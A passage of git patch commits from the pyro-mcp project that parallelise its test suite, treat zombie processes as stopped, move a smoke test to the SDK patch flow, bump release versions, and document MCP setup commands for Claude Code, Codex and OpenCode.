iteration.\n\nValidation:\n- uv lock\n- targeted hot-spot pytest rerun after the fix dropped the worst tests from roughly 10-21s each to sub-second timings\n- UV_CACHE_DIR=.uv-cache make check\n- UV_CACHE_DIR=.uv-cache make dist-check --- Makefile | 5 +++-- pyproject.toml | 1 + src/pyro_mcp/vm_manager.py | 22 ++++++++++++++++++++++ tests/test_runtime_network_check.py | 3 +++ tests/test_vm_manager.py | 5 +++++ tests/test_workspace_shells.py | 2 ++ uv.lock | 24 ++++++++++++++++++++++++ 7 files changed, 60 insertions(+), 2 deletions(-) diff --git a/Makefile b/Makefile index 1b8ffa1..8c71e5b 100644 --- a/Makefile +++ b/Makefile @@ -1,5 +1,6 @@ PYTHON ?= uv run python UV_CACHE_DIR ?= .uv-cache +PYTEST_FLAGS ?= -n auto OLLAMA_BASE_URL ?= http://localhost:11434/v1 OLLAMA_MODEL ?= llama3.2:3b OLLAMA_DEMO_FLAGS ?= @@ -27,7 +28,7 @@ help: ' lint Run Ruff lint checks' \ ' format Run Ruff formatter' \ ' typecheck Run mypy' \ - ' test Run pytest' \ + ' test Run pytest in parallel when multiple cores are available' \ ' check Run lint, typecheck, and tests' \ ' dist-check Smoke-test the installed pyro CLI and environment UX' \ ' pypi-publish Build, validate, and upload the package to PyPI' \ @@ -76,7 +77,7 @@ typecheck: uv run mypy test: - uv run pytest + uv run pytest $(PYTEST_FLAGS) check: lint typecheck test diff --git a/pyproject.toml b/pyproject.toml index 09f08ca..044f601 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -67,6 +67,7 @@ dev = [ "pre-commit>=4.5.1", "pytest>=9.0.2", "pytest-cov>=7.0.0", + "pytest-xdist>=3.8.0", "ruff>=0.15.4", ] diff --git a/src/pyro_mcp/vm_manager.py b/src/pyro_mcp/vm_manager.py index eb90462..e25be5f 100644 --- a/src/pyro_mcp/vm_manager.py +++ b/src/pyro_mcp/vm_manager.py @@ -1589,6 +1589,23 @@ def _stop_process_group(pid: int, *, wait_seconds: int = 5) -> tuple[bool, bool] return True, True +def _linux_process_state(pid: int) -> str | None: + stat_path = Path("/proc") / str(pid) / "stat" + try: + raw_stat = stat_path.read_text(encoding="utf-8", errors="replace").strip() + except OSError: + return None + if raw_stat == "": + return None + closing_paren = raw_stat.rfind(")") + if closing_paren == -1: + return None + suffix = raw_stat[closing_paren + 2 :] + if suffix == "": + return None + return suffix.split(" ", 1)[0] + + def _run_service_probe_command( cwd: Path, command: str, @@ -1962,6 +1979,11 @@ def _ensure_no_symlink_parents(root: Path, target_path: Path, member_name: str) def _pid_is_running(pid: int | None) -> bool: if pid is None: return False + process_state = _linux_process_state(pid) + if process_state == "Z": + return False + if process_state is not None: + return True try: os.kill(pid, 0) except ProcessLookupError: diff --git a/tests/test_runtime_network_check.py b/tests/test_runtime_network_check.py index 35b5a87..0e26b5d 100644 --- a/tests/test_runtime_network_check.py +++ b/tests/test_runtime_network_check.py @@ -1,5 +1,7 @@ from __future__ import annotations +import sys + import pytest import pyro_mcp.runtime_network_check as runtime_network_check @@ -43,6 +45,7 @@ def test_network_check_uses_network_enabled_manager(monkeypatch: pytest.MonkeyPa def test_network_check_main_fails_on_unsuccessful_command( monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] ) -> None: + monkeypatch.setattr(sys, "argv", ["runtime-network-check"]) monkeypatch.setattr( runtime_network_check, "run_network_check", diff --git a/tests/test_vm_manager.py b/tests/test_vm_manager.py index f8010d3..22e953c 100644 --- a/tests/test_vm_manager.py +++ b/tests/test_vm_manager.py @@ -2937,6 +2937,11 @@ def test_workspace_service_process_group_helpers(monkeypatch: pytest.MonkeyPatch assert kill_calls == [signal.SIGTERM, signal.SIGKILL] +def test_pid_is_running_treats_zombies_as_stopped(monkeypatch: pytest.MonkeyPatch) -> None: + monkeypatch.setattr(vm_manager_module, "_linux_process_state", lambda _pid: "Z") + assert vm_manager_module._pid_is_running(123) is False # noqa: SLF001 + + def test_workspace_service_probe_and_refresh_helpers( tmp_path: Path, monkeypatch: pytest.MonkeyPatch ) -> None: diff --git a/tests/test_workspace_shells.py b/tests/test_workspace_shells.py index 4f4f206..b0efcd9 100644 --- a/tests/test_workspace_shells.py +++ b/tests/test_workspace_shells.py @@ -154,6 +154,7 @@ def test_workspace_shells_write_and_signal_runtime_errors( tmp_path: Path, monkeypatch: pytest.MonkeyPatch, ) -> None: + real_killpg = os.killpg session = create_local_shell( workspace_id="workspace-6", shell_id="shell-6", @@ -189,6 +190,7 @@ def test_workspace_shells_write_and_signal_runtime_errors( monkeypatch.setattr("pyro_mcp.workspace_shells.os.killpg", _raise_killpg) with pytest.raises(RuntimeError, match="not running"): session.send_signal("INT") + monkeypatch.setattr("pyro_mcp.workspace_shells.os.killpg", real_killpg) finally: try: session.close() diff --git a/uv.lock b/uv.lock index 9e194db..d688e08 100644 --- a/uv.lock +++ b/uv.lock @@ -275,6 +275,15 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/33/6b/e0547afaf41bf2c42e52430072fa5658766e3d65bd4b03a563d1b6336f57/distlib-0.4.0-py2.py3-none-any.whl", hash = "sha256:9659f7d87e46584a30b5780e43ac7a2143098441670ff0a49d5f9034c54a6c16", size = 469047, upload-time = "2025-07-17T16:51:58.613Z" }, ] +[[package]] +name = "execnet" +version = "2.1.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/bf/89/780e11f9588d9e7128a3f87788354c7946a9cbb1401ad38a48c4db9a4f07/execnet-2.1.2.tar.gz", hash = "sha256:63d83bfdd9a23e35b9c6a3261412324f964c2ec8dcd8d3c6916ee9373e0befcd", size = 166622, upload-time = "2025-11-12T09:56:37.75Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ab/84/02fc1827e8cdded4aa65baef11296a9bbe595c474f0d6d758af082d849fd/execnet-2.1.2-py3-none-any.whl", hash = "sha256:67fba928dd5a544b783f6056f449e5e3931a5c378b128bc18501f7ea79e296ec", size = 40708, upload-time = "2025-11-12T09:56:36.333Z" }, +] + [[package]] name = "filelock" version = "3.25.0" @@ -718,6 +727,7 @@ dev = [ { name = "pre-commit" }, { name = "pytest" }, { name = "pytest-cov" }, + { name = "pytest-xdist" }, { name = "ruff" }, ] @@ -730,6 +740,7 @@ dev = [ { name = "pre-commit", specifier = ">=4.5.1" }, { name = "pytest", specifier = ">=9.0.2" }, { name = "pytest-cov", specifier = ">=7.0.0" }, + { name = "pytest-xdist", specifier = ">=3.8.0" }, { name = "ruff", specifier = ">=0.15.4" }, ] @@ -763,6 +774,19 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/ee/49/1377b49de7d0c1ce41292161ea0f721913fa8722c19fb9c1e3aa0367eecb/pytest_cov-7.0.0-py3-none-any.whl", hash = "sha256:3b8e9558b16cc1479da72058bdecf8073661c7f57f7d3c5f22a1c23507f2d861", size = 22424, upload-time = "2025-09-09T10:57:00.695Z" }, ] +[[package]] +name = "pytest-xdist" +version = "3.8.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "execnet" }, + { name = "pytest" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/78/b4/439b179d1ff526791eb921115fca8e44e596a13efeda518b9d845a619450/pytest_xdist-3.8.0.tar.gz", hash = "sha256:7e578125ec9bc6050861aa93f2d59f1d8d085595d6551c2c90b6f4fad8d3a9f1", size = 88069, upload-time = "2025-07-01T13:30:59.346Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ca/31/d4e37e9e550c2b92a9cbc2e4d0b7420a27224968580b5a447f420847c975/pytest_xdist-3.8.0-py3-none-any.whl", hash = "sha256:202ca578cfeb7370784a8c33d6d05bc6e13b4f25b5053c30a152269fd10f0b88", size = 46396, upload-time = "2025-07-01T13:30:56.632Z" }, +] + [[package]] name = "python-discovery" version = "1.1.0" From 79a7d71d3bb07f1fe1e0951fc795a812e775b5ef Mon Sep 17 00:00:00 2001 From: Thales Maciel Date: Fri, 13 Mar 2026 13:30:52 -0300 Subject: [PATCH 37/49] Align use-case smokes with canonical workspace recipes The 3.10.0 milestone was about making the advertised smoke pack trustworthy enough to act like a real release gate. The main drift was in the repro-plus-fix scenario: the recipe docs were SDK-first, but the smoke still shelled out to CLI patch apply and asserted a human summary string.\n\nSwitch the smoke runner to use the structured SDK patch flow directly, remove the harness-only CLI dependency, and tighten the fake smoke tests so they prove the same structured path the docs recommend. This keeps smoke failures tied to real user-facing regressions instead of human-output formatting drift.\n\nPromote make smoke-use-cases as the trustworthy guest-backed verification path in the top-level docs, bump the release surface to 3.10.0, and mark the roadmap milestone done.\n\nValidation:\n- uv lock\n- UV_CACHE_DIR=.uv-cache uv run pytest --no-cov tests/test_workspace_use_case_smokes.py\n- UV_CACHE_DIR=.uv-cache make check\n- UV_CACHE_DIR=.uv-cache make dist-check\n- USE_CASE_ENVIRONMENT=debian:12 UV_CACHE_DIR=.uv-cache make smoke-use-cases --- CHANGELOG.md | 10 +++++ README.md | 11 ++--- docs/first-run.md | 10 ++--- docs/install.md | 6 ++- docs/roadmap/llm-chat-ergonomics.md | 18 +++----- ...se-case-smoke-trust-and-recipe-fidelity.md | 2 +- docs/use-cases/README.md | 3 +- pyproject.toml | 2 +- src/pyro_mcp/vm_environments.py | 2 +- src/pyro_mcp/workspace_use_case_smokes.py | 24 ++--------- tests/test_workspace_use_case_smokes.py | 43 ++++++++----------- uv.lock | 2 +- 12 files changed, 59 insertions(+), 74 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index c7b46e1..5c6ea7f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,6 +2,16 @@ All notable user-visible changes to `pyro-mcp` are documented here. +## 3.10.0 + +- Aligned the five guest-backed workspace smoke scenarios with the recipe docs + they advertise, so the smoke pack now follows the documented canonical user + paths instead of mixing in harness-only CLI formatting checks. +- Fixed the repro-plus-fix smoke to use the structured SDK patch flow directly, + removing its dependency on brittle human `[workspace-patch] ...` output. +- Promoted `make smoke-use-cases` in the docs as the trustworthy guest-backed + verification path for the advertised workspace workflows. + ## 3.9.0 - Added `--content-only` to `pyro workspace file read` and diff --git a/README.md b/README.md index ebb6b34..8e59c0a 100644 --- a/README.md +++ b/README.md @@ -23,7 +23,7 @@ It exposes the same runtime in three public forms: - Stable workspace walkthrough GIF: [docs/assets/workspace-first-run.gif](docs/assets/workspace-first-run.gif) - Terminal walkthrough GIF: [docs/assets/first-run.gif](docs/assets/first-run.gif) - PyPI package: [pypi.org/project/pyro-mcp](https://pypi.org/project/pyro-mcp/) -- What's new in 3.9.0: [CHANGELOG.md#390](CHANGELOG.md#390) +- What's new in 3.10.0: [CHANGELOG.md#3100](CHANGELOG.md#3100) - Host requirements: [docs/host-requirements.md](docs/host-requirements.md) - Integration targets: [docs/integrations.md](docs/integrations.md) - Public contract: [docs/public-contract.md](docs/public-contract.md) @@ -60,7 +60,7 @@ What success looks like: ```bash Platform: linux-x86_64 Runtime: PASS -Catalog version: 3.9.0 +Catalog version: 3.10.0 ... [pull] phase=install environment=debian:12 [pull] phase=ready environment=debian:12 @@ -85,7 +85,8 @@ diffs, exports, and reset. After that stable walkthrough works, continue with the recipe set in [docs/use-cases/README.md](docs/use-cases/README.md). It packages the five core workspace stories into documented flows plus real guest-backed smoke targets such as `make smoke-use-cases` and -`make smoke-repro-fix-loop`. +`make smoke-repro-fix-loop`. At this point `make smoke-use-cases` is the +trustworthy guest-backed release-gate path for the advertised workspace workflows. The commands below use plain `pyro ...`. Run the same flow with `uvx --from pyro-mcp pyro ...` for the published package, or `uv run pyro ...` from a source checkout. @@ -225,7 +226,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 3.9.0 +Catalog version: 3.10.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -342,7 +343,7 @@ machine consumption, use `--id-only` for only the identifier or `--json` for the workspace payload. Use `--seed-path` when you want the workspace to start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive instead of an empty workspace. Use `pyro workspace sync push` when you want to import -later host-side changes into a started workspace. Sync is non-atomic in `3.9.0`; if it fails +later host-side changes into a started workspace. Sync is non-atomic in `3.10.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the live `/workspace` tree to its immutable create-time baseline, and `pyro workspace export` to copy one changed file or directory back to the host. Use diff --git a/docs/first-run.md b/docs/first-run.md index 9260bd6..ea54aa7 100644 --- a/docs/first-run.md +++ b/docs/first-run.md @@ -22,7 +22,7 @@ Networking: tun=yes ip_forward=yes ```bash $ uvx --from pyro-mcp pyro env list -Catalog version: 3.9.0 +Catalog version: 3.10.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -126,7 +126,8 @@ snapshots, secrets, network policy, or disk tools. Once that stable workspace flow works, continue with the five recipe docs in [use-cases/README.md](use-cases/README.md) or run the real guest-backed smoke packs directly with -`make smoke-use-cases`. +`make smoke-use-cases`. Treat that smoke pack as the trustworthy guest-backed +verification path for the advertised workspace workflows. When you need repeated commands in one sandbox, switch to `pyro workspace ...`: @@ -153,8 +154,7 @@ $ uvx --from pyro-mcp pyro workspace file read WORKSPACE_ID src/note.txt hello from synced workspace [workspace-file-read] workspace_id=... path=/workspace/src/note.txt size_bytes=... truncated=False execution_mode=guest_vsock -$ uvx --from pyro-mcp pyro workspace patch apply WORKSPACE_ID --patch "$(cat fix.patch)" -[workspace-patch] workspace_id=... total=... added=... modified=... deleted=... execution_mode=guest_vsock +$ uvx --from pyro-mcp pyro workspace patch apply WORKSPACE_ID --patch-file fix.patch $ uvx --from pyro-mcp pyro workspace exec WORKSPACE_ID -- cat src/note.txt hello from synced workspace @@ -259,7 +259,7 @@ State: started Use `--seed-path` when the workspace should start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive instead of an empty `/workspace`. Use `pyro workspace sync push` when you need to import later host-side changes into a started -workspace. Sync is non-atomic in `3.9.0`; if it fails partway through, prefer `pyro workspace reset` +workspace. Sync is non-atomic in `3.10.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the current `/workspace` tree to its immutable create-time baseline, `pyro workspace snapshot *` to create named checkpoints, and `pyro workspace export` to copy one changed file or directory back to the diff --git a/docs/install.md b/docs/install.md index 22e457c..c00bb31 100644 --- a/docs/install.md +++ b/docs/install.md @@ -85,7 +85,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 3.9.0 +Catalog version: 3.10.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -171,6 +171,8 @@ When that stable workspace path is working, continue with the recipe index at [use-cases/README.md](use-cases/README.md). It groups the five core workspace stories and the real smoke targets behind them, starting with `make smoke-use-cases` or one of the per-scenario targets such as `make smoke-repro-fix-loop`. +Treat `make smoke-use-cases` as the trustworthy guest-backed verification path for the advertised +workspace workflows. ## 6. Optional demo proof point @@ -294,7 +296,7 @@ the identifier programmatically, use `--id-only` for only the identifier or `--j workspace payload. Use `--seed-path` when the workspace should start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive. Use `pyro workspace sync push` for later host-side changes to a started workspace. Sync -is non-atomic in `3.9.0`; if it fails partway through, prefer `pyro workspace reset` to recover +is non-atomic in `3.10.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the current workspace tree to its immutable create-time baseline, `pyro workspace snapshot *` to capture named checkpoints, and `pyro workspace export` to copy one changed file or directory back to the host. Use diff --git a/docs/roadmap/llm-chat-ergonomics.md b/docs/roadmap/llm-chat-ergonomics.md index 78f59c6..c028071 100644 --- a/docs/roadmap/llm-chat-ergonomics.md +++ b/docs/roadmap/llm-chat-ergonomics.md @@ -6,7 +6,7 @@ goal: make the core agent-workspace use cases feel trivial from a chat-driven LLM interface. -Current baseline is `3.9.0`: +Current baseline is `3.10.0`: - the stable workspace contract exists across CLI, SDK, and MCP - one-shot `pyro run` still exists as the narrow entrypoint @@ -35,12 +35,8 @@ More concretely, the model should not need to: The remaining UX friction for a technically strong new user is now narrower: -- the recommended chat-host onramp is now explicit, but human-mode file reads - still need final transcript polish for copy-paste and chat logs -- the five use-case smokes now exist, but the advertised smoke pack is only as - trustworthy as its weakest scenario and exact recipe fidelity -- generic MCP guidance is strong, but Codex and OpenCode still ask the user to - translate the generic config into host-specific setup steps +- the generic MCP guidance is strong, but Codex and OpenCode still ask the user + to translate the generic config into host-specific setup steps - `workspace-core` is clearly the recommended profile, but `pyro mcp serve` and `create_server()` still default to `workspace-full` for `3.x` compatibility @@ -66,7 +62,7 @@ The remaining UX friction for a technically strong new user is now narrower: 6. [`3.7.0` Handoff Shortcuts And File Input Sources](llm-chat-ergonomics/3.7.0-handoff-shortcuts-and-file-input-sources.md) - Done 7. [`3.8.0` Chat-Host Onramp And Recommended Defaults](llm-chat-ergonomics/3.8.0-chat-host-onramp-and-recommended-defaults.md) - Done 8. [`3.9.0` Content-Only Reads And Human Output Polish](llm-chat-ergonomics/3.9.0-content-only-reads-and-human-output-polish.md) - Done -9. [`3.10.0` Use-Case Smoke Trust And Recipe Fidelity](llm-chat-ergonomics/3.10.0-use-case-smoke-trust-and-recipe-fidelity.md) +9. [`3.10.0` Use-Case Smoke Trust And Recipe Fidelity](llm-chat-ergonomics/3.10.0-use-case-smoke-trust-and-recipe-fidelity.md) - Done 10. [`3.11.0` Host-Specific MCP Onramps](llm-chat-ergonomics/3.11.0-host-specific-mcp-onramps.md) 11. [`4.0.0` Workspace-Core Default Profile](llm-chat-ergonomics/4.0.0-workspace-core-default-profile.md) @@ -92,13 +88,11 @@ Completed so far: docs pass while keeping `workspace-full` as the 3.x compatibility default. - `3.9.0` added content-only workspace file and disk reads plus cleaner default human-mode transcript separation for files that do not end with a trailing newline. +- `3.10.0` aligned the five guest-backed use-case smokes with their recipe docs and promoted + `make smoke-use-cases` as the trustworthy verification path for the advertised workspace flows. Planned next: -- `3.10.0` makes the use-case recipe set fully trustworthy by requiring - `make smoke-use-cases` to pass cleanly, aligning recipe docs with what the - smoke harness actually proves, and removing brittle assertions against - human-mode output when structured results are already available. - `3.11.0` adds exact host-specific onramps for Claude, Codex, and OpenCode so a new chat-host user can copy one known-good config or command instead of translating the generic MCP example by hand. diff --git a/docs/roadmap/llm-chat-ergonomics/3.10.0-use-case-smoke-trust-and-recipe-fidelity.md b/docs/roadmap/llm-chat-ergonomics/3.10.0-use-case-smoke-trust-and-recipe-fidelity.md index 6fd61b6..7d50ac6 100644 --- a/docs/roadmap/llm-chat-ergonomics/3.10.0-use-case-smoke-trust-and-recipe-fidelity.md +++ b/docs/roadmap/llm-chat-ergonomics/3.10.0-use-case-smoke-trust-and-recipe-fidelity.md @@ -1,6 +1,6 @@ # `3.10.0` Use-Case Smoke Trust And Recipe Fidelity -Status: Planned +Status: Done ## Goal diff --git a/docs/use-cases/README.md b/docs/use-cases/README.md index 0ce0035..15911d6 100644 --- a/docs/use-cases/README.md +++ b/docs/use-cases/README.md @@ -28,4 +28,5 @@ uv run python scripts/workspace_use_case_smoke.py --scenario all --environment d That runner generates its own host fixtures, creates real guest-backed workspaces, verifies the intended flow, exports one concrete result when relevant, and cleans -up on both success and failure. +up on both success and failure. Treat `make smoke-use-cases` as the trustworthy +guest-backed verification path for the advertised workspace workflows. diff --git a/pyproject.toml b/pyproject.toml index 044f601..bc66549 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [project] name = "pyro-mcp" -version = "3.9.0" +version = "3.10.0" description = "Stable Firecracker workspaces, one-shot sandboxes, and MCP tools for coding agents." readme = "README.md" license = { file = "LICENSE" } diff --git a/src/pyro_mcp/vm_environments.py b/src/pyro_mcp/vm_environments.py index 365158b..a89e86e 100644 --- a/src/pyro_mcp/vm_environments.py +++ b/src/pyro_mcp/vm_environments.py @@ -19,7 +19,7 @@ from typing import Any from pyro_mcp.runtime import DEFAULT_PLATFORM, RuntimePaths DEFAULT_ENVIRONMENT_VERSION = "1.0.0" -DEFAULT_CATALOG_VERSION = "3.9.0" +DEFAULT_CATALOG_VERSION = "3.10.0" OCI_MANIFEST_ACCEPT = ", ".join( ( "application/vnd.oci.image.index.v1+json", diff --git a/src/pyro_mcp/workspace_use_case_smokes.py b/src/pyro_mcp/workspace_use_case_smokes.py index 5536f37..01c1338 100644 --- a/src/pyro_mcp/workspace_use_case_smokes.py +++ b/src/pyro_mcp/workspace_use_case_smokes.py @@ -3,8 +3,6 @@ from __future__ import annotations import argparse -import subprocess -import sys import tempfile import time from dataclasses import dataclass @@ -109,17 +107,6 @@ def _log(message: str) -> None: print(f"[smoke] {message}", flush=True) -def _run_pyro_cli(*args: str, cwd: Path) -> str: - completed = subprocess.run( - [sys.executable, "-m", "pyro_mcp.cli", *args], - cwd=str(cwd), - check=True, - capture_output=True, - text=True, - ) - return completed.stdout - - def _create_workspace( pyro: Pyro, *, @@ -246,16 +233,11 @@ def _scenario_repro_fix_loop(pyro: Pyro, *, root: Path, environment: str) -> Non assert str(initial_read["content"]) == "broken\n", initial_read failing = pyro.exec_workspace(workspace_id, command="sh check.sh") assert int(failing["exit_code"]) != 0, failing - patch_output = _run_pyro_cli( - "workspace", - "patch", - "apply", + patch_result = pyro.apply_workspace_patch( workspace_id, - "--patch-file", - str(patch_path), - cwd=root, + patch=patch_path.read_text(encoding="utf-8"), ) - assert "[workspace-patch] workspace_id=" in patch_output, patch_output + assert bool(patch_result["changed"]) is True, patch_result passing = pyro.exec_workspace(workspace_id, command="sh check.sh") assert int(passing["exit_code"]) == 0, passing assert str(passing["stdout"]) == "fixed\n", passing diff --git a/tests/test_workspace_use_case_smokes.py b/tests/test_workspace_use_case_smokes.py index 9e0c178..1a5a836 100644 --- a/tests/test_workspace_use_case_smokes.py +++ b/tests/test_workspace_use_case_smokes.py @@ -54,6 +54,7 @@ class _FakePyro: self._workspace_counter = 0 self._shell_counter = 0 self._clock = 0.0 + self.patch_apply_count = 0 def _tick(self) -> float: self._clock += 1.0 @@ -336,6 +337,7 @@ class _FakePyro: original = target.read_text(encoding="utf-8") updated = original.replace("broken\n", "fixed\n") target.write_text(updated, encoding="utf-8") + self.patch_apply_count += 1 workspace.last_activity_at = self._tick() return {"workspace_id": workspace_id, "changed": updated != original, "patch": patch} @@ -452,6 +454,8 @@ def test_use_case_docs_and_targets_stay_aligned() -> None: repo_root = _repo_root() index_text = (repo_root / "docs" / "use-cases" / "README.md").read_text(encoding="utf-8") makefile_text = (repo_root / "Makefile").read_text(encoding="utf-8") + assert "trustworthy" in index_text + assert "guest-backed verification path" in index_text for recipe in WORKSPACE_USE_CASE_RECIPES: assert (repo_root / recipe.doc_path).is_file(), recipe.doc_path recipe_text = (repo_root / recipe.doc_path).read_text(encoding="utf-8") @@ -478,22 +482,11 @@ def test_run_all_use_case_scenarios_with_fake_pyro( fake_pyro = _FakePyro(tmp_path / "fake-pyro") monkeypatch.setattr(smoke_module, "Pyro", lambda: fake_pyro) monkeypatch.setattr(time_module, "sleep", lambda _seconds: None) - monkeypatch.setattr( - smoke_module, - "_run_pyro_cli", - lambda *args, cwd: ( - fake_pyro.write_workspace_file( - args[3], - "message.txt", - text="fixed\n", - ), - f"[workspace-patch] workspace_id={args[3]} total=1\n", - )[1], - ) smoke_module.run_workspace_use_case_scenario("all") assert fake_pyro._workspaces == {} + assert fake_pyro.patch_apply_count == 1 def test_run_workspace_use_case_scenario_rejects_unknown() -> None: @@ -505,18 +498,6 @@ def test_main_runs_selected_scenario(monkeypatch: pytest.MonkeyPatch, tmp_path: fake_pyro = _FakePyro(tmp_path / "fake-pyro-main") monkeypatch.setattr(smoke_module, "Pyro", lambda: fake_pyro) monkeypatch.setattr(time_module, "sleep", lambda _seconds: None) - monkeypatch.setattr( - smoke_module, - "_run_pyro_cli", - lambda *args, cwd: ( - fake_pyro.write_workspace_file( - args[3], - "message.txt", - text="fixed\n", - ), - f"[workspace-patch] workspace_id={args[3]} total=1\n", - )[1], - ) monkeypatch.setattr( "sys.argv", [ @@ -531,3 +512,17 @@ def test_main_runs_selected_scenario(monkeypatch: pytest.MonkeyPatch, tmp_path: smoke_module.main() assert fake_pyro._workspaces == {} + assert fake_pyro.patch_apply_count == 1 + + +def test_repro_fix_scenario_uses_structured_patch_flow( + monkeypatch: pytest.MonkeyPatch, + tmp_path: Path, +) -> None: + fake_pyro = _FakePyro(tmp_path / "fake-pyro-repro-fix") + monkeypatch.setattr(smoke_module, "Pyro", lambda: fake_pyro) + monkeypatch.setattr(time_module, "sleep", lambda _seconds: None) + + smoke_module.run_workspace_use_case_scenario("repro-fix-loop") + + assert fake_pyro.patch_apply_count == 1 diff --git a/uv.lock b/uv.lock index d688e08..6bdffd0 100644 --- a/uv.lock +++ b/uv.lock @@ -715,7 +715,7 @@ crypto = [ [[package]] name = "pyro-mcp" -version = "3.9.0" +version = "3.10.0" source = { editable = "." } dependencies = [ { name = "mcp" }, From 68d8e875e0c0880e7e04941dd16200336a674d08 Mon Sep 17 00:00:00 2001 From: Thales Maciel Date: Fri, 13 Mar 2026 13:42:45 -0300 Subject: [PATCH 38/49] Add host-specific MCP onramps for major chat clients Ship first-class MCP setup examples for Claude Code, Codex, and OpenCode so new users can copy one exact command or config instead of translating the generic MCP template by hand. Reposition the docs to surface those host-specific examples before the generic config fallback, keep workspace-core as the recommended profile everywhere user-facing, and retain Claude Desktop/Cursor as secondary fallback examples. Bump the package and catalog to 3.11.0, mark the roadmap milestone done, and add docs-alignment coverage that pins the new examples to the canonical workspace-core server command and the expected OpenCode config shape. Validation: - uv lock - ./.venv/bin/pytest --no-cov tests/test_cli.py - UV_CACHE_DIR=.uv-cache make check - UV_CACHE_DIR=.uv-cache make dist-check --- CHANGELOG.md | 11 ++++ README.md | 44 ++++++++++++---- docs/first-run.md | 13 ++++- docs/install.md | 28 +++++++++- docs/integrations.md | 13 +++-- docs/roadmap/llm-chat-ergonomics.md | 10 ++-- .../3.11.0-host-specific-mcp-onramps.md | 2 +- examples/claude_code_mcp.md | 20 +++++++ examples/codex_mcp.md | 20 +++++++ examples/mcp_client_config.md | 11 +++- examples/opencode_mcp_config.json | 9 ++++ pyproject.toml | 2 +- src/pyro_mcp/vm_environments.py | 2 +- tests/test_cli.py | 52 +++++++++++++++++++ uv.lock | 2 +- 15 files changed, 211 insertions(+), 28 deletions(-) create mode 100644 examples/claude_code_mcp.md create mode 100644 examples/codex_mcp.md create mode 100644 examples/opencode_mcp_config.json diff --git a/CHANGELOG.md b/CHANGELOG.md index 5c6ea7f..2b6ae71 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,6 +2,17 @@ All notable user-visible changes to `pyro-mcp` are documented here. +## 3.11.0 + +- Added first-class host-specific MCP onramps for Claude Code, Codex, and + OpenCode so major chat-host users can copy one exact setup example instead of + translating the generic MCP config by hand. +- Reordered the main integration docs and examples so host-specific MCP setup + appears before the generic `mcpServers` fallback, while keeping + `workspace-core` as the recommended first profile everywhere user-facing. +- Kept Claude Desktop and Cursor as generic fallback examples instead of the + primary onramp path. + ## 3.10.0 - Aligned the five guest-backed workspace smoke scenarios with the recipe docs diff --git a/README.md b/README.md index 8e59c0a..cb7a3eb 100644 --- a/README.md +++ b/README.md @@ -23,7 +23,7 @@ It exposes the same runtime in three public forms: - Stable workspace walkthrough GIF: [docs/assets/workspace-first-run.gif](docs/assets/workspace-first-run.gif) - Terminal walkthrough GIF: [docs/assets/first-run.gif](docs/assets/first-run.gif) - PyPI package: [pypi.org/project/pyro-mcp](https://pypi.org/project/pyro-mcp/) -- What's new in 3.10.0: [CHANGELOG.md#3100](CHANGELOG.md#3100) +- What's new in 3.11.0: [CHANGELOG.md#3110](CHANGELOG.md#3110) - Host requirements: [docs/host-requirements.md](docs/host-requirements.md) - Integration targets: [docs/integrations.md](docs/integrations.md) - Public contract: [docs/public-contract.md](docs/public-contract.md) @@ -60,7 +60,7 @@ What success looks like: ```bash Platform: linux-x86_64 Runtime: PASS -Catalog version: 3.10.0 +Catalog version: 3.11.0 ... [pull] phase=install environment=debian:12 [pull] phase=ready environment=debian:12 @@ -156,19 +156,42 @@ policy, or disk tools. uvx --from pyro-mcp pyro mcp serve --profile workspace-core ``` -Minimal MCP config: +Copy-paste host-specific starts: + +- Claude Code: [examples/claude_code_mcp.md](examples/claude_code_mcp.md) +- Codex: [examples/codex_mcp.md](examples/codex_mcp.md) +- OpenCode: [examples/opencode_mcp_config.json](examples/opencode_mcp_config.json) +- Generic MCP config: [examples/mcp_client_config.md](examples/mcp_client_config.md) + +Claude Code: + +```bash +claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --profile workspace-core +``` + +Codex: + +```bash +codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --profile workspace-core +``` + +OpenCode `opencode.json` snippet: ```json { - "mcpServers": { + "mcp": { "pyro": { - "command": "uvx", - "args": ["--from", "pyro-mcp", "pyro", "mcp", "serve", "--profile", "workspace-core"] + "type": "local", + "enabled": true, + "command": ["uvx", "--from", "pyro-mcp", "pyro", "mcp", "serve", "--profile", "workspace-core"] } } } ``` +If `pyro-mcp` is already installed, replace the `uvx --from pyro-mcp pyro` +command with 